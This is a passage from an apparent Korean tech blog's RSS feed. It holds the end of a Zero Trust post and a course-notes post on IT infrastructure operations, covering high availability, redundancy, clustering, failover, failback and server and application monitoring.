&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;994&quot; data-origin-height=&quot;347&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dKleNo/btsOlBLqbxf/6Jz4FfTYsEGhmHrXD7bEx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dKleNo/btsOlBLqbxf/6Jz4FfTYsEGhmHrXD7bEx1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dKleNo/btsOlBLqbxf/6Jz4FfTYsEGhmHrXD7bEx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdKleNo%2FbtsOlBLqbxf%2F6Jz4FfTYsEGhmHrXD7bEx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;994&quot; height=&quot;347&quot; data-origin-width=&quot;994&quot; data-origin-height=&quot;347&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Zero Trust 작동 방식&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;902&quot; data-origin-height=&quot;514&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btwV5Q/btsOkOSlD4b/Fzc7xKxgn0sGNy9dEDmHZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btwV5Q/btsOkOSlD4b/Fzc7xKxgn0sGNy9dEDmHZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btwV5Q/btsOkOSlD4b/Fzc7xKxgn0sGNy9dEDmHZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtwV5Q%2FbtsOkOSlD4b%2FFzc7xKxgn0sGNy9dEDmHZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;902&quot; height=&quot;514&quot; data-origin-width=&quot;902&quot; data-origin-height=&quot;514&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 클라우드를 사용해도 보안에 신경을 써야 하나요? &amp;rarr; &lt;b&gt;신경써야함, 클라우드는 책임공유 모델이기 때문&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;778&quot; data-origin-height=&quot;481&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OOdhw/btsOmOb0aRM/20CrwjoClQ7tlwXzVO75pk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OOdhw/btsOmOb0aRM/20CrwjoClQ7tlwXzVO75pk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OOdhw/btsOmOb0aRM/20CrwjoClQ7tlwXzVO75pk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOOdhw%2FbtsOmOb0aRM%2F20CrwjoClQ7tlwXzVO75pk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;778&quot; height=&quot;481&quot; data-origin-width=&quot;778&quot; data-origin-height=&quot;481&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88&lt;/a&gt;&lt;/p&gt;</description>
      <category>IT 지식/IT 인프라 기초</category>
      <category>IAM</category>
      <category>IT 인프라</category>
      <category>네트워크 보안</category>
      <category>보안</category>
      <category>엔드포인트 보안</category>
      <category>접근제어</category>
      <category>제로트러스트</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/223</guid>
      <comments>https://it-log.tistory.com/223#entry223comment</comments>
      <pubDate>Mon, 2 Jun 2025 22:00:54 +0900</pubDate>
    </item>
    <item>
      <title>IT 인프라 운영</title>
      <link>https://it-log.tistory.com/222</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;고가용성(HA, High Availability)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 고가용성: 서버, 네트워크, 프로그램 등의 시스템이 안정적으로 작동할 수 있도록 보장하는 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 하드웨어 구성요소: 다양한 부품이 서로 유기적으로 연결되어 있음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;696&quot; data-origin-height=&quot;333&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/13OI4/btsOjuqSFCK/9KJWNe1He4vQZD9km63BHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/13OI4/btsOjuqSFCK/9KJWNe1He4vQZD9km63BHK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/13OI4/btsOjuqSFCK/9KJWNe1He4vQZD9km63BHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F13OI4%2FbtsOjuqSFCK%2F9KJWNe1He4vQZD9km63BHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;696&quot; height=&quot;333&quot; data-origin-width=&quot;696&quot; data-origin-height=&quot;333&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 하드웨어 장애: 서버의 모든 요소 마다 장애가 발생할 수 있음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;699&quot; data-origin-height=&quot;332&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZdGCh/btsOiIjc4uh/7PEAxCa9K65GJysapoycyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZdGCh/btsOiIjc4uh/7PEAxCa9K65GJysapoycyK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZdGCh/btsOiIjc4uh/7PEAxCa9K65GJysapoycyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZdGCh%2FbtsOiIjc4uh%2F7PEAxCa9K65GJysapoycyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;699&quot; height=&quot;332&quot; data-origin-width=&quot;699&quot; data-origin-height=&quot;332&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 소프트웨어 구성요소: OS, OS 기본 프로그램, 다양한 애플리케이션이 함께 동작함&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;684&quot; data-origin-height=&quot;289&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lhayz/btsOjSehxr7/6QwP6QdYjfaRtGzUotMkHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lhayz/btsOjSehxr7/6QwP6QdYjfaRtGzUotMkHk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lhayz/btsOjSehxr7/6QwP6QdYjfaRtGzUotMkHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flhayz%2FbtsOjSehxr7%2F6QwP6QdYjfaRtGzUotMkHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;684&quot; height=&quot;289&quot; data-origin-width=&quot;684&quot; data-origin-height=&quot;289&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- SPOF(Single Point of Failure): 단일 장애 지점, 장애가 발생하면 전체 시스템이 다운되는 지점&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;565&quot; data-origin-height=&quot;407&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsofZ6/btsOjvQVrNM/0yjdMj5LYUfsLQkFKoUNa0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsofZ6/btsOjvQVrNM/0yjdMj5LYUfsLQkFKoUNa0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsofZ6/btsOjvQVrNM/0yjdMj5LYUfsLQkFKoUNa0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsofZ6%2FbtsOjvQVrNM%2F0yjdMj5LYUfsLQkFKoUNa0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;565&quot; height=&quot;407&quot; data-origin-width=&quot;565&quot; data-origin-height=&quot;407&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 고가용성(HA, High Availability): 시스템이 긴 시간동안 장애 없이 안정적으로 운영되도록 취하는 조치&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;375&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5SZPH/btsOhddvmMR/kKa6P8eQpA5iKl6dumQEy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5SZPH/btsOhddvmMR/kKa6P8eQpA5iKl6dumQEy1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5SZPH/btsOhddvmMR/kKa6P8eQpA5iKl6dumQEy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5SZPH%2FbtsOhddvmMR%2FkKa6P8eQpA5iKl6dumQEy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;656&quot; height=&quot;375&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;375&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 이중화: 서비스의 안전성을 위해 각종 자원(하드웨어, OS, 미들웨어, DB 등)을 이중 혹은 그 이상으로 구성하는 기술&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 각 요소 별로 이중화 하는 방법이 다르며, 2대로 이중화 한다 하더라도 장애 발생 가능성을 완벽하게 배제하기 어려움&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 두 서버를 모두 운영해야 하기에 비용 증가, 자원 낭비라는 단점이 있음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;807&quot; data-origin-height=&quot;303&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bf5BD4/btsOiMFXdCo/Sb7MW8BkI57hkCNuMv7hf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bf5BD4/btsOiMFXdCo/Sb7MW8BkI57hkCNuMv7hf1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bf5BD4/btsOiMFXdCo/Sb7MW8BkI57hkCNuMv7hf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbf5BD4%2FbtsOiMFXdCo%2FSb7MW8BkI57hkCNuMv7hf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;807&quot; height=&quot;303&quot; data-origin-width=&quot;807&quot; data-origin-height=&quot;303&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 클러스터링: 여러 대의 컴퓨터를 병렬로 연결한 시스템&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 여러 대의 서버를 가상의 하나의 서버처럼 사용하는 기술&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;767&quot; data-origin-height=&quot;254&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Qfa1l/btsOjUJX98u/uERvbrP0sQerCg83bMZN21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Qfa1l/btsOjUJX98u/uERvbrP0sQerCg83bMZN21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Qfa1l/btsOjUJX98u/uERvbrP0sQerCg83bMZN21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQfa1l%2FbtsOjUJX98u%2FuERvbrP0sQerCg83bMZN21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;767&quot; height=&quot;254&quot; data-origin-width=&quot;767&quot; data-origin-height=&quot;254&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Failover: 실패(Fail)를 끝냄(Over), 장애 대비 기능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 실제 운영 시스템에 이상이 생겼을 때 예비 시스템으로 자동 전환&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;317&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ScN1q/btsOiIctbnt/sdnHENDKlGK5oZahAjsdr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ScN1q/btsOiIctbnt/sdnHENDKlGK5oZahAjsdr1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ScN1q/btsOiIctbnt/sdnHENDKlGK5oZahAjsdr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FScN1q%2FbtsOiIctbnt%2FsdnHENDKlGK5oZahAjsdr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;760&quot; height=&quot;317&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;317&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Failback: Failover에 따라 전환된 시스템을 이상이 발생하기 전의 상태로 되돌리는 처리를 의미, 원래 시스템으로 사용&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;766&quot; data-origin-height=&quot;275&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b0kn8c/btsOhVQ8I4o/PSWtHHs7bAIkvk2ehP6670/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b0kn8c/btsOhVQ8I4o/PSWtHHs7bAIkvk2ehP6670/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b0kn8c/btsOhVQ8I4o/PSWtHHs7bAIkvk2ehP6670/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb0kn8c%2FbtsOhVQ8I4o%2FPSWtHHs7bAIkvk2ehP6670%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;766&quot; height=&quot;275&quot; data-origin-width=&quot;766&quot; data-origin-height=&quot;275&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;모니터링(Monitoring)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 모니터링: 지속적인 감시, 감찰을 통해 대상의 상태나 가용성, 변화 등을 확인하고 대비하는 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 시스템의 상태나 상황에 문제가 발생하면, 즉각 관리자에게 알림을 보내 빠르게 대처할 수 있도록 도와줌&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;822&quot; data-origin-height=&quot;282&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dbNW5X/btsOiIpYF1b/K50GkwcWjMLPIwH792pkwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dbNW5X/btsOiIpYF1b/K50GkwcWjMLPIwH792pkwk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dbNW5X/btsOiIpYF1b/K50GkwcWjMLPIwH792pkwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdbNW5X%2FbtsOiIpYF1b%2FK50GkwcWjMLPIwH792pkwk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;822&quot; height=&quot;282&quot; data-origin-width=&quot;822&quot; data-origin-height=&quot;282&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버 모니터링: 서버 하드웨어 자원 보유 현황, 상태, 자원 사용 현황을 지표로 보여줌&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;597&quot; data-origin-height=&quot;362&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pcHBG/btsOjYZFLRD/GZYbIf58IyIHIphge0F3v1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pcHBG/btsOjYZFLRD/GZYbIf58IyIHIphge0F3v1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pcHBG/btsOjYZFLRD/GZYbIf58IyIHIphge0F3v1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpcHBG%2FbtsOjYZFLRD%2FGZYbIf58IyIHIphge0F3v1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;597&quot; height=&quot;362&quot; data-origin-width=&quot;597&quot; data-origin-height=&quot;362&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 애플리케이션 모니터링: JAVA 애플리케이션의 사용자 수, 자원 사용 현황, 트랜잭션 상태 등을 지표로 보여줌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- APM: Application Performance Monitoring&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 애플리케이션의 각 요소의 장애 발생 포인트를 알려주거나 진단해줌&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;598&quot; data-origin-height=&quot;366&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uq2gU/btsOj2udXny/uyb1p897hD2SukMzWmtWJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uq2gU/btsOj2udXny/uyb1p897hD2SukMzWmtWJ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uq2gU/btsOj2udXny/uyb1p897hD2SukMzWmtWJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fuq2gU%2FbtsOj2udXny%2Fuyb1p897hD2SukMzWmtWJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;598&quot; height=&quot;366&quot; data-origin-width=&quot;598&quot; data-origin-height=&quot;366&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 애플리케이션의 트랜잭션 상세보기를 통해 서버에서 처리된 시간, SQL 처리 시간, 쿼리 정보 등을 확인 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 이 정보를 통해 애플리케이션 성능 분석 및 튜닝을 할 수 있음&lt;/p&gt;
